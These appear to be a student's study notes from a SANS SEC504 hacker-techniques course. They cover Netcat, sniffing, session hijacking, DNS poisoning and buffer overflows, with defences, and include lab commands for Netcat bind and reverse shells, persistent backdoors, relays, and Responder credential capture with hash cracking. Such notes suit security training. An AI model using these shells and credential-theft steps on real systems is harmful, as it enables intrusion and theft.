**3) 504.3 - Computer & Network Hacker Exploits, Part 2 quick notes**

504.3 - Computer & Network Hacker Exploits, Part 2  
  
Here we will talk about systems attacks and exploitation!  
  
Physical Access Attacks  
Many attacks focus on having direct access to a system.  
Think stolen laptop.  
There are some great tools to bypass local access controls like passwords and hard drive encryption.  
  
Kon-boot  
USB boot attack where any password is accepted as a correct password.  
  
Inception  
Unlocking a powered on and locked computer via DMA firewire/Thunderbolt connections.  
Great for gainin access to systems with hard drive encryption.  
  
LanTurtle+Responder  
USB attack where a malicious USB ethernet adapter causes a system to generate DNS requests and Responder can capture hashes.  
  
Rubber Duckies - are Human Interface Devices (HID) and they look like mass storage, but are actually an automatic keyboard, which types really fast and can take over a computer.  
They can download and execute malware, they can steal files, they can brute force pins on some phones.  
http://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe.  
  
Physical Access Defense  
Use full-disk encryption:  
This will also require you to train users to completely power down systems when not using them.  
  
Restrict access to USB ports:  
Can be tough, too many USB devices for legitimate reasons.  
Train users to lock systems when not using them (will restrict Rubber Duckie Attacks).  
  
Password Protect BIOS, and disable USB boot:  
Will stop Kon-boot attacks.  
  
Disable LLMNR:  
Will disable LanTurtle + Responder attacks.  
  
  
BGP hijacking:  
  
Border Gateway Protocol allows routers on the Internet to route traffic to the correct places.  
Autonomous System Numbers (ASNs) define which IP addresses a router is responsible for.  
If there is an overlaptop between two ASN ranges, routers will route to the more specific ASN.  
An attacker who either has compromised an ISP or can inject routes (think nation-states) can broadcast malicious routes and reroute traffic through their network.  
A number of suspected attacks over the years.  
Unfortunately, they are hard to detect and look very similar to router misconfiguration issues.  
  
For this to work, you need to be an ISP!  
  
BGP Hijacking Defense:  
Know what normal traceroute information looks like.  
http://www.traceroute.org  
  
This can be difficult as routes can change. However, it migth be suspicious if all your traffic is being routed around the world for no good reason.  
Train your users to identify potentially hijacked sessions. You will get Browser errors, and dropped connections.  
Be ready to contact your ISP.  
  
  
  
Multi-purpose NetCat:  
  
It read and writes data across the network.  
There are different versions of NetCat, such as:  
- the traditional NetCat  
- Gnu NetCat  
- Ncat (that comes with Nmap at installation)  
- DnsCat (netcat functionality over DNS) (skullsecurity.org/wiki/index.php/Dnscat)  
- SoCat (dest-unreach.org/socat/): generic relay of data across data channels, with SSL, raw IP and more.  
- Cryptcat (sourceforge.net/projects/cryptcat): encrypting NetCat  
- LinkCat (dankaminsky.com/category/security): NetCat functionality in raw Ethernet frames.  
  
Many times, NetCat and its cousins (some with a few modifications) are not caught by antivirus software!  
  
Netcat Client Mode:  
- client mode initiates a connection to a specific port.  
- standard input is sent across the network (keyboard, redirected from a file or piped from an application).  
- all data back from the network is put on standard output  
- messages from the tool itself are sent to standard err  
- supports source routing, which is useful for spoofing  
  
  
NetCat Listen Mode:  
- listen mode awaits for connections on a specific port  
- all data received from the network is put on standard output, screen, redirected to a file or sent to an application  
- standard input is sent across network  
- messages from the tool itself are sent to stadard err  
- mirror image of the previous slide's picture; the only difference is clients initiate connections and listeners wait for them to arrive.  
  
  
  
Essential NetCat Command Switches:  
nc [options] [target-system] [remote-port(s)]  
  
-l = listen mode (default is client)  
-L = listen harder (Windows only); makes netcat a persistent listener  
-u = UDP mode (default is TCP)  
-p = local port (in server mode, this is port listened on; in client mode, this is source port)  
-e = program to execute after connect (useful for backdoors)  
-z = zero I/O mode (useful for scanning)  
-wN = timeout for connects, waits for N seconds (useful for scanning)  
-v = verbose (print when a connection is made)  
  
Don't forget standard shell redirects!  
> : Dump output to a file  
< : dump input from a file  
| : pipe output of first program into second program  
  
Some NetCat uses  
- we discuess some of the many uses of NetCat  
1) Data transfer (moving giles)  
2) Port scanning and vulnerability scanning  
3) Making connections to open ports  
4) Backdoors  
5) Relays  
  
Netcat - Data Transfer  
option 1) To move a file from listener back to client  
Listener: nc -l -p port < filename  
client: nc listenerIP port > filename  
  
Option 2) To push a file from client to listener  
listener: nc -l -p port > filename  
client: nc listenerIP port < filename  
  
You can even use some browsers as the client for option 1.  
Works with TCP and UDP.  
You can even setup source IP address on listener so that it only accepts connections from one source address.  
Similar functionality to a TCP wrapper.  
  
Netcat - Port and Vuln Scanning  
TCP and UDP port scanning  
Linear scans (default) or random scans (with the -r option)  
-z option for minimal data to be sent  
  
# nc -v -w3 -z targetIP startport - endport  
  
-v tells us when a connection is made, which is crucial for a port scanner.  
-w3 means wait no more than 3 seconds on each port.  
  
Can scan for any source port and source routing supported.  
We can connect to various ports, enter data, and record the response. Nessus and other commercial scanners do that.  
Netcat ships with some helpful vulnerability-scanning scripts!  
Weak RPCs, NFS exports, weak trust relationships, guessable passwords and FTP vulnerabilities.  
  
Making Connections to Open Ports  
Why not just use Telnet? Because we just DON'T hate ourselves! :)  
  
Netcat is faster than a Telnet client.  
Easier to drop a connection (Ctrl+C) with Netcat than with a Telnet client (which often hangs).  
Some binary data is interpreted as Telnet options characters; Netcat handles raw data well.  
Telnet clients plop their commentary messages in the standard output stream; Netcat does not.  
Telnet doesn't support UDP, but Netcat does!!!!  
  
  
Netcat - Backdoors:  
Get a login prompt (or other backdoor) at any port, TCP or UDP.  
Unix: nc -l -l port -e /bin/sh  
windows: nc -l -p port -e cmd.exe  
  
Use Netcat in client mode to connect to backdoor listener:  
nc listenerIP portNumber  
  
You are logged in as the user that ran Netcat!  
All Linux system have netcat installed by default, as an administration tool!  
  
Netcat - Persistent Backdoor Listeners  
- with the -l flag, Netcat listens once. When a connection is dropped, Netcat stops listening.  
- in Windows, Netcat re-starts listening when invoked with the -L flag.  
- On Linux/Unix, Netcat can be made persistent in several ways: schedule a cron job to start Netcat regularly, use a version of Netcat that supports '-L', and  
- use a while look as below:  
$while[1]; do echo "Started"; nc -l -p [port] -e /bin/sh; done  
  
Put that into a shell script called listener.sh, chmod it to readable and executable, and use the nohup command to log out and keep it going.  
  
$nohup ./listener.sh &  
  
More Netcat Backdoors - Reverse Shells  
You can even 'push' session from client to listener. This is sometimes called 'shoveling shell'.  
listener:   
nc -l -p port  
Client:  
nc listenerIP port -e /bin/bash  
  
Then, type commands at the listener.  
The network thinks the connection is outgoing Telnet, HTTP, whatever... It's really an incoming interactive shell.  
  
Netcat - Relays  
Netcat can be configured to relay information from machine to machine to machine. Redirect data through ports allowed by firewall.  
Or use relays to make it harder to trace true originating point of an attack.  
Rather trivial, but setup Netcat in listener mode and pipe its output through another client-mode instance of Netcat.  
  
  
Methods for Making Netcat Relays  
- the batch file approach, which works well on Windows  
- on Windows, create a file called ncrelay.bat containing "nc next\_hop 54321"  
- to implement a relay, type 'nc -l -p 11111 -e ncrelay.bat'  
- the -e options can be followed by only one argument, so use bat file.  
  
Format:  
nc -1 —p incoming port no target server oufgoinq port  
  
Example:  
no -l —p 1111 | nc edserver 54321  
  
The backpipe approach, which works well on Linux and Unix:  
mknod backpipe p  
nc -l -l 11111 0<backpipe | nc next\_hop 54321 1>backpipe  
  
What's a backpipe?  
Everything in Linux is a file. We can create special files in Linux, with the mknod command. We called the file backpipe!  
  
I can use this technique to use a FIFO device file in memory to transfer files between systems. It's like a hidden path way to transfer files!  
  
  
Using the Relay idea for a Netcat Backdoor Without -e:  
  
Let's get back to the idea of Netcat backdoors, adapting the redirects of the relay idea to compensate for the lack of -e support in may versions of Netcat.  
  
  
  
Remember that a lot of Netcat versions are compiled to omit -e support!  
  
Suppose you have a version of Netcat that is compiled without the -e option. How can you make a backdoor?  
We can make a relay, but we relay from bash to Netcat.  
  
$ mknod backpipe p  
$ /bin/bash 0<backpipe | nc -l -p 8080 1>backpipe  
  
Functionally, that is the rough equivalent of 'nc -l -p 8080 -e /bin/bash', but it doesn't require the -e option! The backpipe is looping infinitely, but the breakpoint is YOU!  
  
  
Netcat - Defense  
The defense against Netcat depends on the mode in which it is used.  
To summarize, preparation step involves.  
- data transfer : know what is running on the systems.  
- port scanner: close all unused ports  
- vulnerability scanner: apply system patches  
- connecting to open ports: close all unused ports  
- backdoors: know what is running on your systems  
- relays: carefully architect your network with layered security so an attacker cannot relay around your critical-filtering capabilities.  
Intranet firewalls can help create chokepoints for filtering.  
Private VLANs (PVLANs) can also help restrict the flow of traffic between systems.  
  
NetCat Labs:  
We do several labs with Netcat between Windows and Linux:  
0) Create sender and listener for a simple chat.  
1) Pull a file from Windows to Linux  
2) Push a file from Linux to Windows  
3) Create Linux backdoor listener  
4) Create backdoor reverse shell from Windows to Linux  
5) Create a Linux Netcat relay.  
  
  
Let's make sure Linux and Windows are ready to go:  
#ifconfig eth0 10.10.75.1/16  
#iptables -F  
  
Windows:  
netsh firewall set opmode disable  
netsh advfirewall set allprofiles state off.  
  
  
NetCat on Windows  
Remember! The goal of this lab is to get you familiar with shells, reverse shells, backdoors and pivoting.  
Ideas we will revisit with tools like Gcat and Meterpreter.  
For all labs that follow, we assume the Netcat executable (.exe) is located at c:\tools\nc.exe  
  
Run a command prompt and change directories to your Netcat directory.  
Invoke Netcat by typing (in the appropriate directory).  
  
nc [command options]  
  
You can just double-click nc.exe in the Explorer GUI.  
  
On Linux, Netcat is in your path:  
- simply invoke it at a command shell by using  
$nc [command options]  
  
################  
  
Lab 0: Simple Client and Listener Chat  
  
$ nc - -p 2222  
  
c:\>nc 10.10.75.1 2222  
  
#######  
Lab 1: Pull a File  
(Step 1 - create a file)  
c:\> echo this is a text > text.txt  
  
(Step 2 - setup listener to 'export' file)  
c:\> nc -l -p 1234 < text.txt  
  
(Step 3 - connect to remote listener and receive file)  
$nc 10.10.0.1 1234 > received.txt  
  
(Step 4 - visualize received file)  
$ cat received.txt  
  
There is indication of success. Press Ctrl-C to drop the connection (on either sides), then look at the file on the Linux side.  
  
Default is TCP; type '-u' for UDP (press Enter to connect).  
  
###########  
  
Lab 2 - Push a File  
  
Step 1:  
$echo SANS. > file.txt  
  
Step 2:  
nc -l -p 4321 > received2.txt  
  
Step 3:  
nc 10.10.0.1 4321 < file.txt  
  
Step 4:   
type received2.txt  
  
  
Again you will see no indication of success. Press Ctrl-C to drop connection, then look at the file.  
On Windows, enter:  
c:\> type received2.txt  
  
  
################  
Lab 3: Create Linux Backdoor  
  
Victim machine:  
$ nc -l -p 7777 -e /bin/sh  
  
Attacker machine:  
c:\> nc 10.10.75.1 7777  
  
We now have a remote session and can run commands on the Linux box  
  
##############  
Lab 4: Reverse Windows Shell  
  
Step 1:  
$nc -l -p 8888  
  
Step 2:  
c:\> nc 10.10.75.1 8888 -e cmd.exe  
  
Step 3:  
c:\> echo %username%  
  
  
- type 'dir' at the Windows shell command into Attacker window.  
  
#############  
  
Lab 5: Create Windows Relay  
Victim (step 1):  
c:\> nc -l -p 54321 -e cmd.exe  
  
Relay (step2 and 3):  
$mknod backpipe p  
$  
$ nc -l -p 1111 0<backpipe | nc 10.10.0.1 54321 1>backpipe  
  
Attacker (step 4 and 5):  
c:\> nc 127.0.0.1 1111  
c:\> echo %username%  
  
######################  
  
Optional - A Scenario:  
If you have extra time - suppose these is a process listening on a port on a firewall-protected machine. Perhaps it gives shell access with high privileges.   
But the firewall allows only outbound connections. No inbound connections allowed; only outbound.  
Yet, you can execute commands (with limited privileges) on the machine with the listener.  
  
  
Protected Victim Machine:  
nc -l -p port -e /bin/sh  
  
Which command would you execute on the attacker's machine and on the protected victim machine so you can access that Netcat listening shell?  
Note: Don't just run another listener to give shell access, because that has lesser privileges and won't answer the real problem.  
  
The Set Up  
On Linux, in one terminal window, create your listener running with root privileges:  
#nc -l -p 2222 -e /bin/sh  
  
On Linux, bring up two other terminals that are not logged in as root (su student). One is your attacker machine!  
The other acts as another command terminal on victim machine.  
  
Scenario I: One Possible Answer  
Implement a client-to-client Netcat relay.  
First, create a listener that the relay shovels the connection to  
- on the outside (attacker's machine), run:  
$nc -l -p 4444  
  
- on the victim machine, in the prompt with limited privileges, make the client-to-client relay:  
$ cd  
$ mknod backpipe p  
$ nc 127.0.0.1 4444 0<backpipe | nc 127.0.0.1 2222 1>backpipe  
  
- try it and type 'whoami' in the attacker window  
  
  
3.5 Network Sniffing  
Passive and Active Sniffing:  
  
Sniffers gather all information transmitted across a line.  
For broadcast media (such as Ethernet or wireless network), sniffers allow an attacker to gather passwords and more.  
For Ethernet, all data is broadcast on the LAN segment. Switched Ethernet limits data to a specific destination physical port on a switch. Switches perform switching by determining which MAC addresses are connected to which physical interface (by observing the source MAC address of Ethernet frames), storing this information in memory (called a CAM table).  
  
Wireshark is an amazingly powerful sniffing tool!  
  
Quick Protocol Layering Review:  
Application Layer - Web Surfing, Telnet, FTP.  
................  
Transport Layer - TCP and UDP.  
Network Layer - IP.  
Data Link Layer - Ethernet Firmware, MAC.  
Physical Layer - Ethernet Card, Wire.  
  
www.counterhack.com --> DNS --> IP address --> ARP protocol --> MAC address.  
  
  
When you send data across a LAN, it must be directed to the hardware address.  
Your machine must determine the MAC address corresponding to a given IP address.  
ARP supports mapping IP addresses to MAC addresses.  
Systems cache this information in a data structure called the ARP cache, typically for up to 10 minutes.  
ARP cache poisoning allows you to redirect info to a different system on the LAN.  
  
Name Resolution: More Background  
On Windows systems there are also a couple of protocols computers will use to resolve names of other systems.  
DNS, Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS)  
  
Failing DNS, systems will query local systems for a name using LLMNR, failing that, they will use NBT-NS. Everything is bad here!  
The danger is when a name is not resolvable by DNS, such as when we have a mistyped domain and hostname.  
  
  
Messing with the Data Link Layer:  
  
Bettercap: Ruby framework is used to manipulate ARP mapping on targeted systems and gateways.  
  
Arpspoof: manipulate IP-to-MAC address mapping. Feeds false ARP messages into a LAN so traffic is directed to the attacker for sniffing --> ARp cache poisoning.  
  
Man-in-the-Middle-Framework (MitMf): Supports ARP cache poisoning and multiple other injection/TCP stream modification attacks.  
  
Messing with the TCP Layer:  
We can inject malicious files and content into the TCP Stream.  
MitMf can insert malicious .hta files into the stream. Look up HTA Drive-By.  
  
MitMf can also backdoor executable files it sees in transit. This is called FilePwn!  
  
Bettercap also has plugins for arbitrary TCP modification. Simple plugin architecture and a full tcp proxy.  
  
  
Snarfing Application Data  
Once data is flowing through your proxy we can start harvesting various sensitive data, such a user IDs, passwords, session identifiers, URLs, etc.  
We can even invoke keystroke loggers within browsers. MitMf has a module called JSKeylogger which allows us to grab keystrokes by injecting code into viewed webpages.  
MitMf also has a tool called ScreenShotter which invokes HTML5 Canvas to take a screenshot of the browser.  
  
  
Xplico - it will allow you to sniff pictures, files, etc, so that you can browse the data.  
  
Foiling DNS:  
Attacker activates Spoofing Program --> Victim tries to resolve a name using DNS --> Attacker sniffs DNS request from the line --> And sends spoofed DNS response with any IP address the attacker wants the victim to use --> Victim now surfs to attacker's site instead of the desired Destination --> Default gateway for LAN --> Outside world/The Internet --> To the attacker's machine at 10.1.1.56!  
  
DNS Spoofind Effects:  
The attacker doesn't have to be on the same LAN as the victim for DNS Spoofing to work. Attacker just has to sit on a network between the victim and the DNS server.  
Once we control DNS, we can redirect traffic anywhere we want. How about to a proxy, where can we grab traffic in a Man-in-the-Middle attack?  
  
Example:  
#bettercap -X --dns dns.conf  
  
  
Sniffing SSL and SSH:  
Attacker activated DNS spoofing and web proxy programs --> Dnsspoof sends fake DNS response with the IP address of the machine running webmitm (10.1.2.3) --> Victim establishes SSL connection, now knowing the attacker is proxying connection --> Web proxies the HTTPS connection establishing an https connection to the server and sending the attacker's own certificate to the client --> Victim now accesses the desired server, but all traffic is viewable by attacker using a web proxy --> Default Gateway for LAN --> Outside World.  
  
Your browser such as Firefox or IE, will send out a message such as: Firefox/IE SSL Warning Messages!  
  
Sniffing SSH:  
Another tool included with Dsniff can do a similar attack against SSH (protocol version 1 Only).  
SSHmitm substitutes its public key for the SSH server's setting up two SSH connections. One from client to attacker, the other from attacker to server.  
SSH: Client sees a warning or error message from OpenSSH client such as:  
WARNING: HOST IDENTIFICATION HAS CHANGED!  
  
  
Subterfuge:  
Another Man-in-the-middle tool for Sniffing!  
  
Methods for Dodging SSL Warnings:  
An attacker has numerous options available to prevent that SSL warning message by the browser. Compromise a CA or RA and issue certs. You could bleed the server keys from memory!  
  
Vulnerability in some versions of Apache, which dumps system memory via malformed heartbeat requests.  
  
PowerBleed by Joff Thyer does this:  
https://bitbucket.org/jsthyer/powerbleed)  
Build a bogus cert that has an MD5 hash collision with a trusted cert.  
Hash collision bogus cert generated as proof of concept by A. Sotirov, in 2009. Find a flaw in SSL or TLS.  
  
  
  
Look up Browser Exploit Against SSL/TLS (BEAST), using JavaScript in a browser to send encrypted messages with chosen plaintext and a related attack focused on compression (CRIME) in 2012. Find a flaw in the way browsers validate certificates.  
  
You can also:  
Compromise browser and import attacker's cert as trusted.  
Trick user into accepting cert through social engineering email, pop-ups, and other means.  
Sit in the middle and tell the browser to use HTTP, not HTTPS (sslstrip tool does this).  
Attack sites that use SSL only for authentication with cleartext HTTP for the post-authenticated session (FireSheep and DroidSheep tools do this).  
  
  
  
Avoid SSL Warnings: sslstrip+ and fireshell  
  
1) Attacker runs 'sslstrip' which rewrites all https URLs into HTTP URLs.  
2) All traffic from victim to attacker is http, with no crypto and no browser warning messages. The sslstrip tool even injects favicon of a lock.   
3) All traffic to the bank still uses https. The bank doesn't know that the attack is under way.  
4) Reach the Internet.  
  
  
  
Alternatively, attack services that use HTTPS for authentication and then HTTP for all follow-on traffic...wait for auth, then intercept HTTP.  
SSLStrip + and sslsplit also support partial bypass of HSTS.  
  
  
  
3.6 Session Hijacking, Tools, and Defenses  
Let's focus on two additional attack vectors:  
LLMNR and Web proxy Auto-Detect (WAPD).  
  
If we are on the local network, we can take advantage of systems attempting to find hostnames and proxy configurations to redirect them where ever we want.  
These current attack are heavily used post exploitation to extend access to other systems.  
  
Responder  
- is an outstanding tool designed to launch LLMNR attacks.  
- it can also launch NBT-NS, DNS/MDNS attacks.  
- automatically launches a number of services to redirect victim systems to in oder to harvest credentials from HTTP, HTTPS,SQL SERVER, KERBEROS, FTP, IMAP, SMTP, DNS, LDAP.  
  
The goal is to spoof a system, then be ready to intercept the authentication requests on the fly.  
It can also serve up malicious.exe files and force downgrade for LANMAN authentication (easier to crack)..  
  
  
#./Responder.py -I vlan0  
  
  
Attacking WPAD  
Many of the tools we discussed support attacking WPAD (MitMf and Responder).  
This is where a system automatically attempts to find a system with a name of WPAD and download a PAC file with Proxy settings.  
Once we are the proxy, we can intercept and hijack web traffic.  
However, we can also intercept traffic for specific domains (think PAC Backdoors), and harvest full HTTPS URL information for things like Session IDs.  
Pacdoor is a tool which does this:  
http://github.com/SafeBreach-Labs/pacdoor  
  
  
Defenses  
Because session hijacking systhesizes sniffing plus spoofing, the defenses for those attacks are combined for session hijacking.  
Hard-code APR tables on sensitive LANs.  
Activate port-level security on your switches. Lock down each physical port to allow only a single MAC address. Or lock down each physical port to allow only a specific MAC address.  
Use Dynamic ARP Inspect with DHCP snooping.  
Disable LLMNR and WPAD!!!  
For defense against network-based hijacking attacks, encrypt session and use strong authentication. Secure Shell version 2 or VPN with encryption. Especially important for critical infrastructure components. Don't tell to your firewall, routers, directory systems or PKI machines.  
Unfortunately, if originating host is compromised, strong authentication and encrypted path do not help, because session is stolen at originating machines.  
  
Sniffing and Session Hijacking Defenses: Identification:  
Users lose sessions (connection to host lost messages). Although it could just be network congestion.  
ARP entries that are messed up.  
  
To check from local machine.  
Windows:  
c:\> arp -a  
  
Unix:  
$arp -a  
or  
$arp -e  
  
To check across the network (ARPWatch, available at http://ee.lbl.gov).  
  
To look at DNS cache on Windows client, type:  
c:\> ipconfig /displaydns  
  
Error messages from SSH clients.  
  
  
Containment, Eradication and Recovery:  
- drop spurious sessions (of course). Typically by changing password and restarting the service to which the attacker connected.  
- carefully analyze destination systems when session was hijacked.  
  
Erad, Rec:  
At a minimum, change passwords of hijacked accounts.  
Possibly rebuild systems. Especially if admin/root accounts are compromised.  
  
  
  
  
Lab for APR and MAC analysis:  
The Scenario:  
  
Around 2:30 PM on Wednesday, Alice noticed that she was receiving certificate warning messages in her browser.  
Some of her HTTPS URLs were changing to HTTP.  
As the incident handler, you must determine which system and potentially which person may be involved in this attack.  
You have this info (located in /home/tools/504\_arp\_ex/ in the course VMware image).  
Alice's ARP cache: alice\_arp\_table.txt  
Router's ARP cache: router\_arp\_table.txt  
Switch's CAM table: switch\_cam\_table.txt  
DHCP server's log: DhcpSrvLog-Wed.log  
Organization's Asset Inventory spreadsheet: asset\_inventory.csv.  
  
Alice IP: 10.12.1.13  
Router: 10.12.1.1  
  
Hints:  
Answer these questions:  
Which machine may have launched the attack?  
Which person is associated with this machine?  
  
You can try to answer these questions on your own or follow through the steps on the following slides; feel free to peek ahead.  
Consider the relationship between Alice and the router (ARP)?  
Analyze the switch's perspective on these machines (CAM).  
Analyze the switch's perspective on other very nearby hosts.  
Note that different vendors display MAC addresses in different format (for example, dashes instead of colons or dots and uppercase versus lowercase Hex A, B, C).  
Use grep to search for strings within a file: the 'i' flag performs a case-insensitive search and the '-B n' and '-A n' flags give you 'n' lines of context before and after any matching file, which is useful for looking for things near a given search string in a file.  
  
  
#/root/Desktop/tools/Responder/./Responder.py -I eth0 -i 192.168.2.103  
  
[+] Listening for events...  
[\*] [NBT-NS] Poisoned answer sent to 192.168.2.103 for name SEC504STUDENT (service: Domain Controller)  
[\*] [NBT-NS] Poisoned answer sent to 192.168.2.103 for name HELOSEC504 (service: File Server)  
[\*] [LLMNR]  Poisoned answer sent to 192.168.2.103 for name helosec504  
[SMB] NTLMv2-SSP Client   : 192.168.2.103  
[SMB] NTLMv2-SSP Username : SEC504STUDENT\Sec504  
[SMB] NTLMv2-SSP Hash     : Sec504::SEC504STUDENT:1122334455667788:7737633AB6554ECC9ACEC4DB76779875:010100000000000074298C3C9468D401FF5795A5902D9C110000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000100000000200000EECF561A99833E18EE780577A1646E4D798B1F5C7E95724C9DD307FF921C4A2D0A0010000000000000000000000000000000000009001E0063006900660073002F00680065006C006F007300650063003500300034000000000000000000  
[SMB] Requested Share     : \\HELOSEC504\IPC$  
[\*] [LLMNR]  Poisoned answer sent to 192.168.2.103 for name helosec504  
[\*] Skipping previously captured hash for SEC504STUDENT\Sec504  
[SMB] Requested Share     : \\HELOSEC504\IPC$  
  
  
After receiving the NTLM hash we need to crack it.  
  
#/root/Desktop/tools/john-1.6/run/john -format=netntlmv2 ./SMB-NTLMv2-SSP-192.168.2.103.txt  
  
john -format=netntlmv2 /root/Desktop/tools/Responder/logs/SMB-NTLMv2-SSP-192.168.2.103.txt  
Using default input encoding: UTF-8  
Rules/masks using ISO-8859-1  
Loaded 3 password hashes with 3 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/32])  
Press 'q' or Ctrl-C to abort, almost any other key for status  
sec504           (Sec504)  
sec504           (Sec504)  
  
  
To trick the user into browsing a share, we can send him a link,with an SMB link embedded into the web server and when the user victim browses the web page, they will try to browse the share, therefore activating the SMB protocol and dumping creds on the network.  
Your browser can invoke local applications on the computer!  
  
  
Analysis on Alice's ARP cache:  
$cat alice\_arp\_table.txt  
  
- we notice that the aa-aa-aa-aa-aa-aa corresponds to the Router IP address of 192.168.1.1. We need to make sure it's the router!  
  
$grep -i aa:aa:aa:aa:aa:aa asset\_inventory.csv  
  
- NOT FOUND in the asset-inventory.csv  
Next we go to the route to check the routing table also and we see another MAC address that is weird.  
  
  
  
  
$grep -i bb:bb:bb:bb:bb:bb asset\_inventory.csv  
  
NOT FOUND!  
  
Between the router and the computer, there's a switch. We need to look on the switch for mac addresses.  
  
Switch# show mac-address-table   
  
Then,  
  
$grep -i -A 3 -B 3 aaaa.aaaa.aaaa switch\_cam\_table.txt  
  
Here we notice the aaaa.aaaa.aaaa and bbbb.bbbb.bbbb MAC addresses again and they are all connected to the Fa0/15 port. We also see the real MAC address of the network card. You should know that 000.c29.x.x indicates a VMware MAC address.  
  
$grep -i 00:0c:29:ab:01:f4 asset\_inventory.csv  
  
You can also search the DHCP log for MAC addresses and IP addresses.   
  
$grep -i 000c29AB01F4 DHCPSrvLog-Wed.log  
  
Compare the MAC addresses and IP address for both Alice and Vincent!  
  
Now you could put a sniffer on Vincent's computer (with HR approval) to see what else is his computer doing.  
  
  
3.7 DNS Cache Poisoning:  
  
How DNS works:  
- client uses a 'resolver' to access DNS server  
- Most common DNS server is BIND (Berkeley Internet Name Domain)  
- DNS servers query each other.  
  
  
Recursion will be used to go out an find the answer for you! The root name servers doesn't know a whole lot, but knows how to refer to others that may know the answer.  
  
  
Additional notes on DNS:  
Each DNS query has a query ID (sometimes called a Transaction ID number).  
A response has the same Query ID number as the associated query.  
This Query ID may be predictable based on earlier Query IDs.  
Also, to lower traffic requirements, DNS servers cache answers.  
  
Registration attack: Make a similar-looking domain name:  
www.vvindowsupdate.com, www.nasa.com, www.m1crosoft.com, wwww.paypa1.com and more.  
  
Each DNS request is sent in clear text!  
  
DNS cache poisoning scenario  
The Players:  
Alice, the client surfing the net for fun and profit.  
Eve, the evil bad guy on the Internet.  
www.bank.com, Alice's online bank.  
dns.good.com, Alice's unsuspecting DNS server.  
dns.evil.com, Eve's DNS server.  
dns.bank.com, the name server of a website that Alice wants to access.  
  
Kaminsky's DNS cache poisoning variation  
Older incarnations of DNS cache poisoning had some important dependencies and limitations.  
For example, the attacker had to predict the query ID exactly right, and win the race, or else the legit answer is cached for the DNS time to live set by the legit DNS server's administrator.  
  
Is there another way that gets around these limitations?  
Yes, Dan Kaminsky formulated a clever approach for doing so. Metasploit modules has been release that implement this variation of DNS cache poisoning.  
Still effective with some commercial routers and internal attacks.  
  
  
Defenses - Preparation (I)  
Make the source port of DNS queries difficult to predict. That way, responses with bad port numbers are rejected. Makes the attack more difficult, because badg guys must predict both Query ID number and UDP port. Patch your DNS servers!  
  
Do not accept piggybacked responses and use a hard-to-predict Query ID. Keep DNS servers (BIND, Windows DNS, DJB DNS, and others) up-to-date.  
  
Configure external DNS servers to perform recursive queries only for internal systems. Don't let just anyone on the Internet cause your external DNS server to do recursive look ups, prevents steps 1 and 4 from the scenario, a configuration option in major DNS server types, this can be dodged by sending email and causing the mail server to look up a name using the external name server.  
  
Defenses - Split-Split DNS   
Preparation: Use split-split (yes, that's split-split) DNS.  
Have a different DNS server resolve names for insiders and not respond to outside queries at all.  
Use a separate DNS server for responding to queries for externally accessible stuff.  
Best current solution, but not widely used (too complex/expensive).  
You don't need a powerful server to do that.  
  
Internal Network --> Internal DNS --> External Internal DNS --> External External DNS --> Internet.  
  
  
Use SSL (HTTPS) with server-side authentication for important transactions. Educate your users about HTTPS!  
  
Although not part of this exploit, protect your DNS servers. Harden the OS, cryptographycally check DNS database files regularly with a file integrity checker.  
Utilize an intrustion detection system. Utilize an Intrusion Prevention System.  
  
Digitally sign DNS records:  
The (likely) eventual solution, DNSSEC, will be deployed everywhere some day.  
  
  
Identification:  
Use nslookup, dig or ping to check a DNS cache entry on a suspect DNS server.  
  
Containment:  
Flush DNS server cache.  
Procedure depends on DNS server type.  
  
Eradication and Recovery:  
Make sure to upgrade DNS server ASAP.  
Pseudo-random UDP source ports.  
Difficult-to-guess DNS query IDs.  
Consider split-split DNS if a frequent problem.  
  
  
  
3.8 Buffer Overflows:  
  
Allows an attacker to execute arbitrary commands on your machine.  
Take over system or escalate privileges. Get root or admin privileges.  
Some work locally, others across the network.  
Based on moving data around in memory without properly checking its size. Giving the program more data than program developers allocated for it. Caused by not having proper bounds checking in software.  
Same core issue (non-validated input) for heap-and-integer-based overflows. Can be far more complicated to successfully attack (check out SEC 660)!  
  
  
Fetch and execute instructions, sequentially one by one. Instruction Pointer is incremented.  
At jump, Instruction Pointer is altered to begin fetching instructions in a different location.  
  
  
Programs call their subroutines, allocating memory space for function variables on the stack. The stack is like a scratchpad for storing little items to remember. The stack is LIFO (you push things on top of the stack, you pop things from the of the stack).The return pointer (RP) contains the address of the calling function.  
  
User data is written into the allocated buffer by the subroutine. If the data size is not checked, RP can be overwritten by user data. Attacker exploit places machine code in the buffer and overwrites the RP (return pointer). When function returns, attacker's code is executed.  
  
  
Exploiting Buffer Overflows  
  
Two options:  
  
Use an off-the-shelf exploit someone else already created:   
Script kiddie approach, common, numerous exploits available via exploit-db.com, and other sources.  
Admins may have already patched against it.  
  
  
Create a new exploit for a new vulnerability:  
Admins likely won't know about it.  
This is the realm of zer-day exploits.  
Very nasty stuff!  
  
Creating a Buffer Overflow Exploit  
The three steps of the process of finding a flaw and creating an exploit are:  
1) Find potential buffer overflow condition.  
2) Push the proper executable code into memory to be executed.  
3) Set the return pointer so that it points back into the stack for execution.  
  
Step 1:  
Finding Potential Buffer Overflows - Known Weak Functions  
Search the binary for known weak function calls - using debugger of strings.  
  
Use a tool for analyzing machine language code.  
Find pattersn consistent with buffer overflows flaws.  
Metasploit's msfelfscan and msfpescan.  
  
Or if you have the source code, check that!  
Look for functions such as: strcpy, strncpy, strcat, sprintf, scanf, fgets, gets, getws, memcpy, memmove.  
  
  
  
Code Search Engine Tools  
  
various code search engine tools are available: Koders.com (most used). Google shut down its code search feature.  
  
Koders.com crawls the Internet to find source code. C, C++, Perl, Python, Ruby, Java and more. Search for commonly misused functions to try to discern security vulnerabilities.  
Caches source code and allows for flexible searches. RegEx not supported.  
  
Free open-source and proprietary code included in search results.  
  
Step 1) Finding Potential Buffer Overflows - Cram Input  
  
Take a brute-force approach.  
  
Shove a repeating pattern of arbitraily long characters into every possible opening.   
  
Every user input: names, addresses, configuration parameters and more.  
  
  
Look for a crash where the Instruction Pointer (EIP on x86) contains your pattern.  
  
That means you were able to overflow a buffer and get your input into the instruction pointer (very promising).  
  
